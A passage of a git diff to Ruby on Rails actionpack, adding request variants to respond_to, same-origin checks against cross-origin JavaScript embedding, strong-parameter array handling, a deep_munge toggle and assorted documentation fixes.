ActiveSupport::Notifications.instrument("halted_callback.action_controller", :filter => filter)
end
diff --git a/actionpack/lib/action_controller/metal/live.rb b/actionpack/lib/action_controller/metal/live.rb
index 09ea4919c2..33014b97ca 100644
--- a/actionpack/lib/action_controller/metal/live.rb
+++ b/actionpack/lib/action_controller/metal/live.rb
@@ -48,7 +48,7 @@ module ActionController
# the server will receive a +Last-Event-ID+ header with value equal to +id+.
#
# After setting an option in the constructor of the SSE object, all future
- # SSEs sent accross the stream will use those options unless overridden.
+ # SSEs sent across the stream will use those options unless overridden.
#
# Example Usage:
#
diff --git a/actionpack/lib/action_controller/metal/mime_responds.rb b/actionpack/lib/action_controller/metal/mime_responds.rb
index 84ade41036..d5e08b7034 100644
--- a/actionpack/lib/action_controller/metal/mime_responds.rb
+++ b/actionpack/lib/action_controller/metal/mime_responds.rb
@@ -181,6 +181,61 @@ module ActionController #:nodoc:
# end
# end
#
+ # Formats can have different variants.
+ #
+ # The request variant is a specialization of the request format, like <tt>:tablet</tt>,
+ # <tt>:phone</tt>, or <tt>:desktop</tt>.
+ #
+ # We often want to render different html/json/xml templates for phones,
+ # tablets, and desktop browsers. Variants make it easy.
+ #
+ # You can set the variant in a +before_action+:
+ #
+ # request.variant = :tablet if request.user_agent =~ /iPad/
+ #
+ # Respond to variants in the action just like you respond to formats:
+ #
+ # respond_to do |format|
+ # format.html do |variant|
+ # variant.tablet # renders app/views/projects/show.html+tablet.erb
+ # variant.phone { extra_setup; render ... }
+ # variant.none { special_setup } # executed only if there is no variant set
+ # end
+ # end
+ #
+ # Provide separate templates for each format and variant:
+ #
+ # app/views/projects/show.html.erb
+ # app/views/projects/show.html+tablet.erb
+ # app/views/projects/show.html+phone.erb
+ #
+ # When you're not sharing any code within the format, you can simplify defining variants
+ # using the inline syntax:
+ #
+ # respond_to do |format|
+ # format.js { render "trash" }
+ # format.html.phone { redirect_to progress_path }
+ # format.html.none { render "trash" }
+ # end
+ #
+ # Variants also support common `any`/`all` block that formats have.
+ #
+ # It works for both inline:
+ #
+ # respond_to do |format|
+ # format.html.any { render text: "any" }
+ # format.html.phone { render text: "phone" }
+ # end
+ #
+ # and block syntax:
+ #
+ # respond_to do |format|
+ # format.html do |variant|
+ # variant.any(:tablet, :phablet){ render text: "any" }
+ # variant.phone { render text: "phone" }
+ # end
+ # end
+ #
# Be sure to check the documentation of +respond_with+ and
# <tt>ActionController::MimeResponds.respond_to</tt> for more examples.
def respond_to(*mimes, &block)
@@ -260,7 +315,7 @@ module ActionController #:nodoc:
# * for other requests - i.e. data formats such as xml, json, csv etc, if
# the resource passed to +respond_with+ responds to <code>to_<format></code>,
# the method attempts to render the resource in the requested format
- # directly, e.g. for an xml request, the response is equivalent to calling
+ # directly, e.g. for an xml request, the response is equivalent to calling
# <code>render xml: resource</code>.
#
# === Nested resources
@@ -321,8 +376,10 @@ module ActionController #:nodoc:
# 2. <tt>:action</tt> - overwrites the default render action used after an
# unsuccessful html +post+ request.
def respond_with(*resources, &block)
- raise "In order to use respond_with, first you need to declare the formats your " \
- "controller responds to in the class level" if self.class.mimes_for_respond_to.empty?
+ if self.class.mimes_for_respond_to.empty?
+ raise "In order to use respond_with, first you need to declare the " \
+ "formats your controller responds to in the class level."
+ end
if collector = retrieve_collector_from_mimes(&block)
options = resources.size == 1 ? {} : resources.extract_options!
@@ -360,7 +417,7 @@ module ActionController #:nodoc:
# is available.
def retrieve_collector_from_mimes(mimes=nil, &block) #:nodoc:
mimes ||= collect_mimes_from_class_level
- collector = Collector.new(mimes)
+ collector = Collector.new(mimes, request.variant)
block.call(collector) if block_given?
format = collector.negotiate_format(request)
@@ -398,9 +455,11 @@ module ActionController #:nodoc:
include AbstractController::Collector
attr_accessor :format
- def initialize(mimes)
+ def initialize(mimes, variant = nil)
@responses = {}
- mimes.each { |mime| send(mime) }
+ @variant = variant
+
+ mimes.each { |mime| @responses["Mime::#{mime.upcase}".constantize] = nil }
end
def any(*args, &block)
@@ -414,16 +473,63 @@ module ActionController #:nodoc:
def custom(mime_type, &block)
mime_type = Mime::Type.lookup(mime_type.to_s) unless mime_type.is_a?(Mime::Type)
- @responses[mime_type] ||= block
+ @responses[mime_type] ||= if block_given?
+ block
+ else
+ VariantCollector.new(@variant)
+ end
end
def response
- @responses.fetch(format, @responses[Mime::ALL])
+ response = @responses.fetch(format, @responses[Mime::ALL])
+ if response.is_a?(VariantCollector) # `format.html.phone` - variant inline syntax
+ response.variant
+ elsif response.nil? || response.arity == 0 # `format.html` - just a format, call its block
+ response
+ else # `format.html{ |variant| variant.phone }` - variant block syntax
+ variant_collector = VariantCollector.new(@variant)
+ response.call(variant_collector) #call format block with variants collector
+ variant_collector.variant
+ end
end
def negotiate_format(request)
@format = request.negotiate_mime(@responses.keys)
end
+
+ class VariantCollector #:nodoc:
+ def initialize(variant = nil)
+ @variant = variant
+ @variants = {}
+ end
+
+ def any(*args, &block)
+ if block_given?
+ if args.any? && args.none?{ |a| a == @variant }
+ args.each{ |v| @variants[v] = block }
+ else
+ @variants[:any] = block
+ end
+ end
+ end
+ alias :all :any
+
+ def method_missing(name, *args, &block)
+ @variants[name] = block if block_given?
+ end
+
+ def variant
+ key = if @variant.nil?
+ :none
+ elsif @variants.has_key?(@variant)
+ @variant
+ else
+ :any
+ end
+
+ @variants[key]
+ end
+ end
end
end
end
diff --git a/actionpack/lib/action_controller/metal/redirecting.rb b/actionpack/lib/action_controller/metal/redirecting.rb
index ab14a61b97..2812038938 100644
--- a/actionpack/lib/action_controller/metal/redirecting.rb
+++ b/actionpack/lib/action_controller/metal/redirecting.rb
@@ -58,7 +58,7 @@ module ActionController
# redirect_to post_url(@post), alert: "Watch it, mister!"
# redirect_to post_url(@post), status: :found, notice: "Pay attention to the road"
# redirect_to post_url(@post), status: 301, flash: { updated_post_id: @post.id }
- # redirect_to { action: 'atom' }, alert: "Something serious happened"
+ # redirect_to({ action: 'atom' }, alert: "Something serious happened")
#
# When using <tt>redirect_to :back</tt>, if there is no referrer, ActionController::RedirectBackError will be raised. You may specify some fallback
# behavior for this case by rescuing ActionController::RedirectBackError.
diff --git a/actionpack/lib/action_controller/metal/renderers.rb b/actionpack/lib/action_controller/metal/renderers.rb
index 62a3844b04..6c7b4652d4 100644
--- a/actionpack/lib/action_controller/metal/renderers.rb
+++ b/actionpack/lib/action_controller/metal/renderers.rb
@@ -43,7 +43,7 @@ module ActionController
end
# Hash of available renderers, mapping a renderer name to its proc.
- # Default keys are :json, :js, :xml.
+ # Default keys are <tt>:json</tt>, <tt>:js</tt>, <tt>:xml</tt>.
RENDERERS = Set.new
# Adds a new renderer to call within controller actions.
diff --git a/actionpack/lib/action_controller/metal/request_forgery_protection.rb b/actionpack/lib/action_controller/metal/request_forgery_protection.rb
index bd64b1f812..c88074d4c6 100644
--- a/actionpack/lib/action_controller/metal/request_forgery_protection.rb
+++ b/actionpack/lib/action_controller/metal/request_forgery_protection.rb
@@ -5,14 +5,24 @@ module ActionController #:nodoc:
class InvalidAuthenticityToken < ActionControllerError #:nodoc:
end
+ class InvalidCrossOriginRequest < ActionControllerError #:nodoc:
+ end
+
# Controller actions are protected from Cross-Site Request Forgery (CSRF) attacks
# by including a token in the rendered html for your application. This token is
# stored as a random string in the session, to which an attacker does not have
# access. When a request reaches your application, \Rails verifies the received
# token with the token in the session. Only HTML and JavaScript requests are checked,
# so this will not protect your XML API (presumably you'll have a different
- # authentication scheme there anyway). Also, GET requests are not protected as these
- # should be idempotent.
+ # authentication scheme there anyway).
+ #
+ # GET requests are not protected since they don't have side effects like writing
+ # to the database and don't leak sensitive information. JavaScript requests are
+ # an exception: a third-party site can use a <script> tag to reference a JavaScript
+ # URL on your site. When your JavaScript response loads on their site, it executes.
+ # With carefully crafted JavaScript on their end, sensitive data in your JavaScript
+ # response may be extracted. To prevent this, only XmlHttpRequest (known as XHR or
+ # Ajax) requests are allowed to make GET requests for JavaScript responses.
#
# It's important to remember that XML or JSON requests are also affected and if
# you're building an API you'll need something like:
@@ -65,17 +75,16 @@ module ActionController #:nodoc:
module ClassMethods
# Turn on request forgery protection. Bear in mind that only non-GET, HTML/JavaScript requests are checked.
#
+ # class ApplicationController < ActionController::Base
+ # protect_from_forgery
+ # end
+ #
# class FooController < ApplicationController
# protect_from_forgery except: :index
#
- # You can disable csrf protection on controller-by-controller basis:
- #
+ # You can disable CSRF protection on controller by skipping the verification before_action:
# skip_before_action :verify_authenticity_token
#
- # It can also be disabled for specific controller actions:
- #
- # skip_before_action :verify_authenticity_token, except: [:create]
- #
# Valid Options:
#
# * <tt>:only/:except</tt> - Passed to the <tt>before_action</tt> call. Set which actions are verified.
@@ -89,6 +98,7 @@ module ActionController #:nodoc:
self.forgery_protection_strategy = protection_method_class(options[:with] || :null_session)
self.request_forgery_protection_token ||= :authenticity_token
prepend_before_action :verify_authenticity_token, options
+ append_after_action :verify_same_origin_request
end
private
@@ -169,18 +179,61 @@ module ActionController #:nodoc:
end
protected
+ # The actual before_action that is used to verify the CSRF token.
+ # Don't override this directly. Provide your own forgery protection
+ # strategy instead. If you override, you'll disable same-origin
+ # `<script>` verification.
+ #
+ # Lean on the protect_from_forgery declaration to mark which actions are
+ # due for same-origin request verification. If protect_from_forgery is
+ # enabled on an action, this before_action flags its after_action to
+ # verify that JavaScript responses are for XHR requests, ensuring they
+ # follow the browser's same-origin policy.
+ def verify_authenticity_token
+ mark_for_same_origin_verification!
+
+ if !verified_request?
+ logger.warn "Can't verify CSRF token authenticity" if logger
+ handle_unverified_request
+ end
+ end
+
def handle_unverified_request
forgery_protection_strategy.new(self).handle_unverified_request
end
- # The actual before_action that is used. Modify this to change how you handle unverified requests.
- def verify_authenticity_token
- unless verified_request?
- logger.warn "Can't verify CSRF token authenticity" if logger
- handle_unverified_request
+ CROSS_ORIGIN_JAVASCRIPT_WARNING = "Security warning: an embedded " \
+ "<script> tag on another site requested protected JavaScript. " \
+ "If you know what you're doing, go ahead and disable forgery " \
+ "protection on this action to permit cross-origin JavaScript embedding."
+ private_constant :CROSS_ORIGIN_JAVASCRIPT_WARNING
+
+ # If `verify_authenticity_token` was run (indicating that we have
+ # forgery protection enabled for this request) then also verify that
+ # we aren't serving an unauthorized cross-origin response.
+ def verify_same_origin_request
+ if marked_for_same_origin_verification? && non_xhr_javascript_response?
+ logger.warn CROSS_ORIGIN_JAVASCRIPT_WARNING if logger
+ raise ActionController::InvalidCrossOriginRequest, CROSS_ORIGIN_JAVASCRIPT_WARNING
end
end
+ # GET requests are checked for cross-origin JavaScript after rendering.
+ def mark_for_same_origin_verification!
+ @marked_for_same_origin_verification = request.get?
+ end
+
+ # If the `verify_authenticity_token` before_action ran, verify that
+ # JavaScript responses are only served to same-origin GET requests.
+ def marked_for_same_origin_verification?
+ @marked_for_same_origin_verification ||= false
+ end
+
+ # Check for cross-origin JavaScript responses.
+ def non_xhr_javascript_response?
+ content_type =~ %r(\Atext/javascript) && !request.xhr?
+ end
+
# Returns true or false if a request is verified. Checks:
#
# * is it a GET or HEAD request? Gets should be safe and idempotent
diff --git a/actionpack/lib/action_controller/metal/responder.rb b/actionpack/lib/action_controller/metal/responder.rb
index b4ba169e8f..e24b56fa91 100644
--- a/actionpack/lib/action_controller/metal/responder.rb
+++ b/actionpack/lib/action_controller/metal/responder.rb
@@ -270,7 +270,7 @@ module ActionController #:nodoc:
resource.respond_to?(:errors) && !resource.errors.empty?
end
- # Check whether the neceessary Renderer is available
+ # Check whether the necessary Renderer is available
def has_renderer?
Renderers::RENDERERS.include?(format)
end
diff --git a/actionpack/lib/action_controller/metal/strong_parameters.rb b/actionpack/lib/action_controller/metal/strong_parameters.rb
index b4948d99a8..48a916f2b1 100644
--- a/actionpack/lib/action_controller/metal/strong_parameters.rb
+++ b/actionpack/lib/action_controller/metal/strong_parameters.rb
@@ -3,6 +3,7 @@ require 'active_support/core_ext/array/wrap'
require 'active_support/rescuable'
require 'action_dispatch/http/upload'
require 'stringio'
+require 'set'
module ActionController
# Raised when a required parameter is missing.
@@ -125,6 +126,13 @@ module ActionController
@permitted = self.class.permit_all_parameters
end
+ # Attribute that keeps track of converted arrays, if any, to avoid double
+ # looping in the common use case permit + mass-assignment. Defined in a
+ # method to instantiate it only if needed.
+ def converted_arrays
+ @converted_arrays ||= Set.new
+ end
+
# Returns +true+ if the parameter is permitted, +false+ otherwise.
#
# params = ActionController::Parameters.new
@@ -149,8 +157,10 @@ module ActionController
# Person.new(params) # => #<Person id: nil, name: "Francesco">
def permit!
each_pair do |key, value|
- convert_hashes_to_parameters(key, value)
- self[key].permit! if self[key].respond_to? :permit!
+ value = convert_hashes_to_parameters(key, value)
+ Array.wrap(value).each do |_|
+ _.permit! if _.respond_to? :permit!
+ end
end
@permitted = true
@@ -284,14 +294,7 @@ module ActionController
# params.fetch(:none, 'Francesco') # => "Francesco"
# params.fetch(:none) { 'Francesco' } # => "Francesco"
def fetch(key, *args)
- value = super
- # Don't rely on +convert_hashes_to_parameters+
- # so as to not mutate via a +fetch+
- if value.is_a?(Hash)
- value = self.class.new(value)
- value.permit! if permitted?
- end
- value
+ convert_hashes_to_parameters(key, super, false)
rescue KeyError
raise ActionController::ParameterMissing.new(key)
end
@@ -329,12 +332,21 @@ module ActionController
end
private
- def convert_hashes_to_parameters(key, value)
- if value.is_a?(Parameters) || !value.is_a?(Hash)
+ def convert_hashes_to_parameters(key, value, assign_if_converted=true)
+ converted = convert_value_to_parameters(value)
+ self[key] = converted if assign_if_converted && !converted.equal?(value)
+ converted
+ end
+
+ def convert_value_to_parameters(value)
+ if value.is_a?(Array) && !converted_arrays.member?(value)
+ converted = value.map { |_| convert_value_to_parameters(_) }
+ converted_arrays << converted
+ converted
+ elsif value.is_a?(Parameters) || !value.is_a?(Hash)
value
else
- # Convert to Parameters on first access
- self[key] = self.class.new(value)
+ self.class.new(value)
end
end
diff --git a/actionpack/lib/action_controller/railtie.rb b/actionpack/lib/action_controller/railtie.rb
index 0833e65d23..a2fc814221 100644
--- a/actionpack/lib/action_controller/railtie.rb
+++ b/actionpack/lib/action_controller/railtie.rb
@@ -3,6 +3,7 @@ require "action_controller"
require "action_dispatch/railtie"
require "abstract_controller/railties/routes_helpers"
require "action_controller/railties/helpers"
+require "action_view/railtie"
module ActionController
class Railtie < Rails::Railtie #:nodoc:
diff --git a/actionpack/lib/action_dispatch.rb b/actionpack/lib/action_dispatch.rb
index 24a3d4741e..920e651b08 100644
--- a/actionpack/lib/action_dispatch.rb
+++ b/actionpack/lib/action_dispatch.rb
@@ -1,5 +1,5 @@
#--
-# Copyright (c) 2004-2013 David Heinemeier Hansson
+# Copyright (c) 2004-2014 David Heinemeier Hansson
#
# Permission is hereby granted, free of charge, to any person obtaining
# a copy of this software and associated documentation files (the
diff --git a/actionpack/lib/action_dispatch/http/mime_negotiation.rb b/actionpack/lib/action_dispatch/http/mime_negotiation.rb
index 40bb060d52..c33ba201e1 100644
--- a/actionpack/lib/action_dispatch/http/mime_negotiation.rb
+++ b/actionpack/lib/action_dispatch/http/mime_negotiation.rb
@@ -10,6 +10,8 @@ module ActionDispatch
self.ignore_accept_header = false
end
+ attr_reader :variant
+
# The MIME type of the HTTP request, such as Mime::XML.
#
# For backward compatibility, the post \format is extracted from the
@@ -48,7 +50,7 @@ module ActionDispatch
# GET /posts/5 | request.format => Mime::HTML or MIME::JS, or request.accepts.first
#
def format(view_path = [])
- formats.first
+ formats.first || Mime::NullType.instance
end
def formats
@@ -64,6 +66,18 @@ module ActionDispatch
end
end
+ # Sets the \variant for template.
+ def variant=(variant)
+ if variant.is_a? Symbol
+ @variant = variant
+ else
+ raise ArgumentError, "request.variant must be set to a Symbol, not a #{variant.class}. " \
+ "For security reasons, never directly set the variant to a user-provided value, " \
+ "like params[:variant].to_sym. Check user-provided value against a whitelist first, " \
+ "then set the variant: request.variant = :tablet if params[:variant] == 'tablet'"
+ end
+ end
+
# Sets the \format by string extension, which can be used to force custom formats
# that are not controlled by the extension.
#
diff --git a/actionpack/lib/action_dispatch/http/mime_type.rb b/actionpack/lib/action_dispatch/http/mime_type.rb
index ef144c3c76..3d2dd2d632 100644
--- a/actionpack/lib/action_dispatch/http/mime_type.rb
+++ b/actionpack/lib/action_dispatch/http/mime_type.rb
@@ -1,5 +1,6 @@
require 'set'
-require 'active_support/core_ext/class/attribute_accessors'
+require 'singleton'
+require 'active_support/core_ext/module/attribute_accessors'
require 'active_support/core_ext/string/starts_ends_with'
module Mime
@@ -27,7 +28,7 @@ module Mime
class << self
def [](type)
return type if type.is_a?(Type)
- Type.lookup_by_extension(type) || NullType.new
+ Type.lookup_by_extension(type)
end
def fetch(type)
@@ -292,13 +293,13 @@ module Mime
end
class NullType
+ include Singleton
+
def nil?
true
end
- def ref
- nil
- end
+ def ref; end
def respond_to_missing?(method, include_private = false)
method.to_s.ends_with? '?'
diff --git a/actionpack/lib/action_dispatch/http/mime_types.rb b/actionpack/lib/action_dispatch/http/mime_types.rb
index a6b3aee5e7..0e4da36038 100644
--- a/actionpack/lib/action_dispatch/http/mime_types.rb
+++ b/actionpack/lib/action_dispatch/http/mime_types.rb
@@ -7,6 +7,7 @@ Mime::Type.register "text/javascript", :js, %w( application/javascript applicati
Mime::Type.register "text/css", :css
Mime::Type.register "text/calendar", :ics
Mime::Type.register "text/csv", :csv
+Mime::Type.register "text/vcard", :vcf
Mime::Type.register "image/png", :png, [], %w(png)
Mime::Type.register "image/jpeg", :jpeg, [], %w(jpg jpeg jpe pjpeg)
diff --git a/actionpack/lib/action_dispatch/http/request.rb b/actionpack/lib/action_dispatch/http/request.rb
index 99b81c898f..1318c62fbe 100644
--- a/actionpack/lib/action_dispatch/http/request.rb
+++ b/actionpack/lib/action_dispatch/http/request.rb
@@ -271,7 +271,7 @@ module ActionDispatch
# Override Rack's GET method to support indifferent access
def GET
- @env["action_dispatch.request.query_parameters"] ||= (normalize_encode_params(super) || {})
+ @env["action_dispatch.request.query_parameters"] ||= Utils.deep_munge((normalize_encode_params(super) || {}))
rescue TypeError => e
raise ActionController::BadRequest.new(:query, e)
end
@@ -279,7 +279,7 @@ module ActionDispatch
# Override Rack's POST method to support indifferent access
def POST
- @env["action_dispatch.request.request_parameters"] ||= (normalize_encode_params(super) || {})
+ @env["action_dispatch.request.request_parameters"] ||= Utils.deep_munge((normalize_encode_params(super) || {}))
rescue TypeError => e
raise ActionController::BadRequest.new(:request, e)
end
diff --git a/actionpack/lib/action_dispatch/http/response.rb b/actionpack/lib/action_dispatch/http/response.rb
index 5247e61a23..7b2655b2d8 100644
--- a/actionpack/lib/action_dispatch/http/response.rb
+++ b/actionpack/lib/action_dispatch/http/response.rb
@@ -1,4 +1,4 @@
-require 'active_support/core_ext/class/attribute_accessors'
+require 'active_support/core_ext/module/attribute_accessors'
require 'monitor'
module ActionDispatch # :nodoc:
diff --git a/actionpack/lib/action_dispatch/journey/formatter.rb b/actionpack/lib/action_dispatch/journey/formatter.rb
index 7764763791..4410c1b5d5 100644
--- a/actionpack/lib/action_dispatch/journey/formatter.rb
+++ b/actionpack/lib/action_dispatch/journey/formatter.rb
@@ -33,8 +33,8 @@ module ActionDispatch
return [route.format(parameterized_parts), params]
end
- message = "No route matches #{constraints.inspect}"
- message << " missing required keys: #{missing_keys.inspect}" if name
+ message = "No route matches #{Hash[constraints.sort].inspect}"
+ message << " missing required keys: #{missing_keys.sort.inspect}" if name
raise ActionController::UrlGenerationError, message
end
diff --git a/actionpack/lib/action_dispatch/journey/parser.rb b/actionpack/lib/action_dispatch/journey/parser.rb
index bb4cbb00e2..430812fafe 100644
--- a/actionpack/lib/action_dispatch/journey/parser.rb
+++ b/actionpack/lib/action_dispatch/journey/parser.rb
@@ -1,7 +1,7 @@
#
# DO NOT MODIFY!!!!
# This file is automatically generated by Racc 1.4.9
-# from Racc grammer file "".
+# from Racc grammar file "".
#
require 'racc/parser.rb'
diff --git a/actionpack/lib/action_dispatch/journey/visitors.rb b/actionpack/lib/action_dispatch/journey/visitors.rb
index 9e66cab052..daade5bb74 100644
--- a/actionpack/lib/action_dispatch/journey/visitors.rb
+++ b/actionpack/lib/action_dispatch/journey/visitors.rb
@@ -77,12 +77,32 @@ module ActionDispatch
end
end
- class OptimizedPath < String # :nodoc:
+ class OptimizedPath < Visitor # :nodoc:
+ def accept(node)
+ Array(visit(node))
+ end
+
private
- def visit_GROUP(node)
- ""
- end
+ def visit_CAT(node)
+ [visit(node.left), visit(node.right)].flatten
+ end
+
+ def visit_SYMBOL(node)
+ node.left[1..-1].to_sym
+ end
+
+ def visit_STAR(node)
+ visit(node.left)
+ end
+
+ def visit_GROUP(node)
+ []
+ end
+
+ %w{ LITERAL SLASH DOT }.each do |t|
+ class_eval %{ def visit_#{t}(n); n.left; end }, __FILE__, __LINE__
+ end
end
# Used for formatting urls (url_for)
diff --git a/actionpack/lib/action_dispatch/middleware/cookies.rb b/actionpack/lib/action_dispatch/middleware/cookies.rb
index 3ccd0c9ee8..fe110d7938 100644
--- a/actionpack/lib/action_dispatch/middleware/cookies.rb
+++ b/actionpack/lib/action_dispatch/middleware/cookies.rb
@@ -30,7 +30,7 @@ module ActionDispatch
# cookies[:login] = { value: "XJ-122", expires: 1.hour.from_now }
#
# # Sets a signed cookie, which prevents users from tampering with its value.
- # # The cookie is signed by your app's <tt>config.secret_key_base</tt> value.
+ # # The cookie is signed by your app's <tt>secrets.secret_key_base</tt> value.
# # It can be read using the signed method <tt>cookies.signed[:name]</tt>
# cookies.signed[:user_id] = current_user.id
#
@@ -117,10 +117,10 @@ module ActionDispatch
# the cookie again. This is useful for creating cookies with values that the user is not supposed to change. If a signed
# cookie was tampered with by the user (or a 3rd party), nil will be returned.
#
- # If +config.secret_key_base+ and +config.secret_token+ (deprecated) are both set,
+ # If +secrets.secret_key_base+ and +config.secret_token+ (deprecated) are both set,
# legacy cookies signed with the old key generator will be transparently upgraded.
#
- # This jar requires that you set a suitable secret for the verification on your app's +config.secret_key_base+.
+ # This jar requires that you set a suitable secret for the verification on your app's +secrets.secret_key_base+.
#
# Example:
#
@@ -140,10 +140,10 @@ module ActionDispatch
# Returns a jar that'll automatically encrypt cookie values before sending them to the client and will decrypt them for read.
# If the cookie was tampered with by the user (or a 3rd party), nil will be returned.
#
- # If +config.secret_key_base+ and +config.secret_token+ (deprecated) are both set,
+ # If +secrets.secret_key_base+ and +config.secret_token+ (deprecated) are both set,
# legacy cookies signed with the old key generator will be transparently upgraded.
#
- # This jar requires that you set a suitable secret for the verification on your app's +config.secret_key_base+.
+ # This jar requires that you set a suitable secret for the verification on your app's +secrets.secret_key_base+.
#
# Example:
#
@@ -409,7 +409,7 @@ module ActionDispatch
end
# UpgradeLegacySignedCookieJar is used instead of SignedCookieJar if
- # config.secret_token and config.secret_key_base are both set. It reads
+ # config.secret_token and secrets.secret_key_base are both set. It reads
# legacy cookies signed with the old dummy key generator and re-saves
# them using the new key generator to provide a smooth upgrade path.
class UpgradeLegacySignedCookieJar < SignedCookieJar #:nodoc:
@@ -427,7 +427,7 @@ module ActionDispatch
def initialize(parent_jar, key_generator, options = {})
if ActiveSupport::LegacyKeyGenerator === key_generator
- raise "You didn't set config.secret_key_base, which is required for this cookie jar. " +
+ raise "You didn't set secrets.secret_key_base, which is required for this cookie jar. " +
"Read the upgrade documentation to learn more about this new config option."
end
@@ -465,7 +465,7 @@ module ActionDispatch
end
# UpgradeLegacyEncryptedCookieJar is used by ActionDispatch::Session::CookieStore
- # instead of EncryptedCookieJar if config.secret_token and config.secret_key_base
+ # instead of EncryptedCookieJar if config.secret_token and secrets.secret_key_base
# are both set. It reads legacy cookies signed with the old dummy key generator and
# encrypts and re-saves them using the new key generator to provide a smooth upgrade path.
class UpgradeLegacyEncryptedCookieJar < EncryptedCookieJar #:nodoc:
diff --git a/actionpack/lib/action_dispatch/middleware/exception_wrapper.rb b/actionpack/lib/action_dispatch/middleware/exception_wrapper.rb
index 37bf9c8c9f..377f05c982 100644
--- a/actionpack/lib/action_dispatch/middleware/exception_wrapper.rb
+++ b/actionpack/lib/action_dispatch/middleware/exception_wrapper.rb
@@ -1,5 +1,5 @@
require 'action_controller/metal/exceptions'
-require 'active_support/core_ext/class/attribute_accessors'
+require 'active_support/core_ext/module/attribute_accessors'
module ActionDispatch
class ExceptionWrapper
diff --git a/actionpack/lib/action_dispatch/middleware/session/cookie_store.rb b/actionpack/lib/action_dispatch/middleware/session/cookie_store.rb
index b9eb8036e9..1ebc189c28 100644
--- a/actionpack/lib/action_dispatch/middleware/session/cookie_store.rb
+++ b/actionpack/lib/action_dispatch/middleware/session/cookie_store.rb
@@ -15,8 +15,8 @@ module ActionDispatch
# best possible option given your application's configuration.
#
# If you only have secret_token set, your cookies will be signed, but
- # not encrypted. This means a user cannot alter his +user_id+ without
- # knowing your app's secret key, but can easily read his +user_id+. This
+ # not encrypted. This means a user cannot alter their +user_id+ without
+ # knowing your app's secret key, but can easily read their +user_id+. This
# was the default for Rails 3 apps.
#
# If you have secret_key_base set, your cookies will be encrypted. This
@@ -31,9 +31,10 @@ module ActionDispatch
#
# Myapp::Application.config.session_store :cookie_store, key: '_your_app_session'
#
- # Configure your secret key in config/initializers/secret_token.rb:
+ # Configure your secret key in config/secrets.yml:
#
- # Myapp::Application.config.secret_key_base 'secret key'
+ # development:
+ # secret_key_base: 'secret key'
#
# To generate a secret key for an existing application, run `rake secret`.
#
diff --git a/actionpack/lib/action_dispatch/middleware/static.rb b/actionpack/lib/action_dispatch/middleware/static.rb
index c6a7d9c415..2764584fe9 100644
--- a/actionpack/lib/action_dispatch/middleware/static.rb
+++ b/actionpack/lib/action_dispatch/middleware/static.rb
@@ -11,9 +11,10 @@ module ActionDispatch
end
def match?(path)
- path = path.dup
+ path = unescape_path(path)
+ return false unless path.valid_encoding?
- full_path = path.empty? ? @root : File.join(@root, escape_glob_chars(unescape_path(path)))
+ full_path = path.empty? ? @root : File.join(@root, escape_glob_chars(path))
paths = "#{full_path}#{ext}"
matches = Dir[paths]
@@ -40,7 +41,6 @@ module ActionDispatch
end
def escape_glob_chars(path)
- path.force_encoding('binary') if path.respond_to? :force_encoding
path.gsub(/[*?{}\[\]]/, "\\\\\\&")
end
end
diff --git a/actionpack/lib/action_dispatch/middleware/templates/routes/_table.html.erb b/actionpack/lib/action_dispatch/middleware/templates/routes/_table.html.erb
index 95461fa693..323873ba4b 100644
--- a/actionpack/lib/action_dispatch/middleware/templates/routes/_table.html.erb
+++ b/actionpack/lib/action_dispatch/middleware/templates/routes/_table.html.erb
@@ -89,8 +89,8 @@
}
// takes an array of elements with a data-regexp attribute and
- // passes their their parent <tr> into the callback function
- // if the regexp matchs a given path
+ // passes their parent <tr> into the callback function
+ // if the regexp matches a given path
function eachElemsForPath(elems, path, func) {
each(elems, function(e){
var reg = e.getAttribute("data-regexp");
diff --git a/actionpack/lib/action_dispatch/railtie.rb b/actionpack/lib/action_dispatch/railtie.rb
index 2dfaab3587..ddeea24bb3 100644
--- a/actionpack/lib/action_dispatch/railtie.rb
+++ b/actionpack/lib/action_dispatch/railtie.rb
@@ -16,6 +16,7 @@ module ActionDispatch
config.action_dispatch.signed_cookie_salt = 'signed cookie'
config.action_dispatch.encrypted_cookie_salt = 'encrypted cookie'
config.action_dispatch.encrypted_signed_cookie_salt = 'signed encrypted cookie'
+ config.action_dispatch.perform_deep_munge = true
config.action_dispatch.default_headers = {
'X-Frame-Options' => 'SAMEORIGIN',
@@ -28,6 +29,7 @@ module ActionDispatch
initializer "action_dispatch.configure" do |app|
ActionDispatch::Http::URL.tld_length = app.config.action_dispatch.tld_length
ActionDispatch::Request.ignore_accept_header = app.config.action_dispatch.ignore_accept_header
+ ActionDispatch::Request::Utils.perform_deep_munge = app.config.action_dispatch.perform_deep_munge
ActionDispatch::Response.default_charset = app.config.action_dispatch.default_charset || app.config.encoding
ActionDispatch::Response.default_headers = app.config.action_dispatch.default_headers
diff --git a/actionpack/lib/action_dispatch/request/session.rb b/actionpack/lib/action_dispatch/request/session.rb
index 6d911a75f1..973627f106 100644
--- a/actionpack/lib/action_dispatch/request/session.rb
+++ b/actionpack/lib/action_dispatch/request/session.rb
@@ -7,6 +7,9 @@ module ActionDispatch
ENV_SESSION_KEY = Rack::Session::Abstract::ENV_SESSION_KEY # :nodoc:
ENV_SESSION_OPTIONS_KEY = Rack::Session::Abstract::ENV_SESSION_OPTIONS_KEY # :nodoc:
+ # Singleton object used to determine if an optional param wasn't specified
+ Unspecified = Object.new
+
def self.create(store, env, default_options)
session_was = find env
session = Request::Session.new(store, env)
@@ -127,15 +130,12 @@ module ActionDispatch
@delegate.delete key.to_s
end
- def fetch(key, default=nil)
- if self.key?(key)
- self[key]
- elsif default
- self[key] = default
- elsif block_given?
- self[key] = yield(key)
+ def fetch(key, default=Unspecified, &block)
+ load_for_read!
+ if default == Unspecified
+ @delegate.fetch(key.to_s, &block)
else
- raise KeyError
+ @delegate.fetch(key.to_s, default, &block)
end
end
diff --git a/actionpack/lib/action_dispatch/request/utils.rb b/actionpack/lib/action_dispatch/request/utils.rb
index 8b43cdada8..a6dca9741c 100644
--- a/actionpack/lib/action_dispatch/request/utils.rb
+++ b/actionpack/lib/action_dispatch/request/utils.rb
@@ -1,9 +1,15 @@
module ActionDispatch
class Request < Rack::Request
class Utils # :nodoc:
+
+ mattr_accessor :perform_deep_munge
+ self.perform_deep_munge = true
+
class << self
# Remove nils from the params hash
def deep_munge(hash)
+ return hash unless perform_deep_munge
+
hash.each do |k, v|
case v
when Array
diff --git a/actionpack/lib/action_dispatch/routing/inspector.rb b/actionpack/lib/action_dispatch/routing/inspector.rb
index 120bc54333..f612e91aef 100644
--- a/actionpack/lib/action_dispatch/routing/inspector.rb
